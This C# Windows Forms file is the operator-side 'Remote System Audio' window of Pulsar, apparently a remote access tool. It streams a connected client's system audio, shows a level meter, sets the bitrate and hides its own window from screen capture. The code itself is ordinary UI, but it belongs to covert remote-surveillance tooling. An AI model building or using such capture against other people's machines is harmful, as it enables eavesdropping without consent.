using Pulsar.Common.Messages;
using Pulsar.Common.Helpers;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using Pulsar.Server.Properties;
using Pulsar.Server.Forms.DarkMode;
using System.Diagnostics;

namespace Pulsar.Server.Forms
{
    public partial class FrmRemoteSystemAudio : Form
    {
        /// <summary>
        /// The client which can be used for the remote audio.
        /// </summary>
        private readonly Client _connectClient;

        /// <summary>
        /// The message handler for handling the communication with the client.
        /// </summary>
        private readonly AudioOutputHandler _remoteAudioHandler;

        /// <summary>
        /// Holds the opened remote audio form for each client.
        /// </summary>
        private static readonly Dictionary<Client, FrmRemoteSystemAudio> OpenedForms = new Dictionary<Client, FrmRemoteSystemAudio>();

        /// <summary>
        /// Creates a new remote audio form for the client or gets the current open form, if there exists one already.
        /// </summary>
        /// <param name="client">The client used for the remote audio form.</param>
        /// <returns>
        /// Returns a new remote audio form for the client if there is none currently open, otherwise creates a new one.
        /// </returns>
        public static FrmRemoteSystemAudio CreateNewOrGetExisting(Client client)
        {
            if (OpenedForms.ContainsKey(client))
            {
                return OpenedForms[client];
            }
            FrmRemoteSystemAudio r = new FrmRemoteSystemAudio(client);
            r.Disposed += (sender, args) => OpenedForms.Remove(client);
            OpenedForms.Add(client, r);
            return r;
        }

        /// <summary>
        /// Initializes a new instance of the <see cref="FrmRemoteSystemAudio"/> class using the given client.
        /// </summary>
        /// <param name="client">The client used for the remote audio form.</param>
        public FrmRemoteSystemAudio(Client client)
        {
            _connectClient = client;
            _remoteAudioHandler = new AudioOutputHandler(client);

            RegisterMessageHandler();
            InitializeComponent();
            DarkModeManager.ApplyDarkMode(this);
            ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
        }

        /// <summary>
        /// Registers the remote audio message handler for client communication.
        /// </summary>
        private void RegisterMessageHandler()
        {
            _connectClient.ClientState += ClientDisconnected;
            _remoteAudioHandler.OutputChanged += OutputChanged;
            _remoteAudioHandler.AudioDataReceived += AudioDataReceived;
            MessageHandler.Register(_remoteAudioHandler);
        }

        /// <summary>
        /// Unregisters the remote audio message handler.
        /// </summary>
        private void UnregisterMessageHandler()
        {
            MessageHandler.Unregister(_remoteAudioHandler);
            _remoteAudioHandler.AudioDataReceived -= AudioDataReceived;
            _remoteAudioHandler.OutputChanged -= OutputChanged;
            _connectClient.ClientState -= ClientDisconnected;
        }

        /// <summary>
        /// Called when audio data is received from the remote system audio.
        /// </summary>
        private void AudioDataReceived(object sender, byte[] audioData)
        {
            if (audioData == null || audioData.Length == 0)
                return;

            float level = CalculateAudioLevel(audioData);

            if (audioVisualizer.InvokeRequired)
            {
                audioVisualizer.BeginInvoke(new Action(() => audioVisualizer.UpdateLevel(level)));
            }
            else
            {
                audioVisualizer.UpdateLevel(level);
            }
        }

        /// <summary>
        /// Calculates the audio level from raw audio data.
        /// </summary>
        private float CalculateAudioLevel(byte[] audioData)
        {
            if (audioData.Length < 2)
                return 0f;

            long sum = 0;
            int sampleCount = audioData.Length / 2;

            for (int i = 0; i < audioData.Length - 1; i += 2)
            {
                short sample = (short)((audioData[i + 1] << 8) | audioData[i]);
                int absSample = sample == short.MinValue ? short.MaxValue : Math.Abs(sample);
                sum += absSample;
            }

            float average = (float)sum / sampleCount;
            float normalized = average / 32768f;

            return Math.Min(normalized * 8f, 1f);
        }

        /// <summary>
        /// Starts the remote audio stream and begin to receive audio frames.
        /// </summary>
        private void StartStream()
        {
            try
            {
                ToggleConfigurationControls(true);
                _remoteAudioHandler.BeginReceiveAudio(cbDevices.SelectedIndex);
            }
            catch (Exception ex)
            {
                ToggleConfigurationControls(false);
                MessageBox.Show($"Failed to start audio stream: {ex.Message}",
                    "Audio Error",
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
            }
        }

        /// <summary>
        /// Stops the remote audio stream.
        /// </summary>
        private void StopStream()
        {
            try
            {
                ToggleConfigurationControls(false);
                _remoteAudioHandler.EndReceiveAudio(cbDevices.SelectedIndex);
                audioVisualizer.Reset();
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error stopping audio stream: {ex.Message}");
                ToggleConfigurationControls(false);
            }
        }

        /// <summary>
        /// Toggles the activatability of configuration controls in the status/configuration panel.
        /// </summary>
        /// <param name="started">When set to <code>true</code> the configuration controls get enabled, otherwise they get disabled.</param>
        private void ToggleConfigurationControls(bool started)
        {
            barQuality.Enabled = !started;
            cbDevices.Enabled = !started;
        }

        /// <summary>
        /// Called whenever the remote microphones changed.
        /// </summary>
        /// <param name="sender">The message handler which raised the event.</param>
        /// <param name="devices">The currently available microphone devices.</param>
        private void OutputChanged(object sender, List<Tuple<int, string>> devices)
        {
            cbDevices.Items.Clear();
            foreach (Tuple<int, string> device in devices)
            {
                cbDevices.Items.Add(device.Item2);
            }
            cbDevices.SelectedIndex = 0;
        }

        /// <summary>
        /// Called whenever a client disconnects.
        /// </summary>
        /// <param name="client">The client which disconnected.</param>
        /// <param name="connected">True if the client connected, false if disconnected</param>
        private void ClientDisconnected(Client client, bool connected)
        {
            if (!connected)
            {
                this.Invoke((MethodInvoker)this.Close);
            }
        }

        private void FrmRemoteSystemAudio_Load(object sender, EventArgs e)
        {
            this.Text = WindowHelper.GetWindowTitle("Audio", _connectClient);

            _remoteAudioHandler.RefreshOutput();
        }

        private void FrmRemoteSystemAudio_FormClosing(object sender, FormClosingEventArgs e)
        {
            try
            {
                // all cleanup logic goes here
                if (_remoteAudioHandler.IsStarted)
                {
                    try
                    {
                        StopStream();
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error stopping audio stream during form close: {ex.Message}");
                    }
                }

                try
                {
                    UnregisterMessageHandler();
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error unregistering message handler: {ex.Message}");
                }

                try
                {
                    _remoteAudioHandler.Dispose();
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error disposing audio handler: {ex.Message}");
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error in form closing handler: {ex.Message}");
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            try
            {
                if (cbDevices.Items.Count == 0)
                {
                    MessageBox.Show("No output detected.\nPlease wait till the client sends a list with outputs.",
                        "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    return;
                }
                StartStream();
                button1.Enabled = false;
                button2.Enabled = true;
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error starting audio: {ex.Message}",
                    "Audio Error",
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                button1.Enabled = true;
                button2.Enabled = false;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            try
            {
                StopStream();
                button1.Enabled = true;
                button2.Enabled = false;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error in stop button: {ex.Message}");
                button1.Enabled = true;
                button2.Enabled = false;
            }
        }

        private void barQuality_Scroll_1(object sender, EventArgs e)
        {
            int value = barQuality.Value;
            if (value == 1)
            {
                lblQualityShow.Text = "1000";
                _remoteAudioHandler._bitrate = 1000;
            }
            else if (value == 2)
            {
                lblQualityShow.Text = "2000";
                _remoteAudioHandler._bitrate = 2000;
            }
            else if (value == 3)
            {
                lblQualityShow.Text = "4000";
                _remoteAudioHandler._bitrate = 4000;
            }
            else if (value == 4)
            {
                lblQualityShow.Text = "8000";
                _remoteAudioHandler._bitrate = 8000;
            }
            else if (value == 5)
            {
                lblQualityShow.Text = "11025";
                _remoteAudioHandler._bitrate = 11025;
            }
            else if (value == 6)
            {
                lblQualityShow.Text = "22050";
                _remoteAudioHandler._bitrate = 22050;
            }
            else if (value == 7)
            {
                lblQualityShow.Text = "32000";
                _remoteAudioHandler._bitrate = 32000;
            }
            else if (value == 8)
            {
                lblQualityShow.Text = "44100";
                _remoteAudioHandler._bitrate = 44100;
            }
            else if (value == 9)
            {
                lblQualityShow.Text = "48000";
                _remoteAudioHandler._bitrate = 48000;
            }
            else if (value == 10)
            {
                lblQualityShow.Text = "64000";
                _remoteAudioHandler._bitrate = 64000;
            }
            else if (value == 11)
            {
                lblQualityShow.Text = "88200";
                _remoteAudioHandler._bitrate = 88200;
            }
            else if (value == 12)
            {
                lblQualityShow.Text = "96000";
                _remoteAudioHandler._bitrate = 96000;
            }

            if (value < 8)
                lblQualityShow.Text += " (low)";
            else if (value == 8)
                lblQualityShow.Text += " (best)";
            else if (value >= 9)
                lblQualityShow.Text += " (high)";
        }
    }
}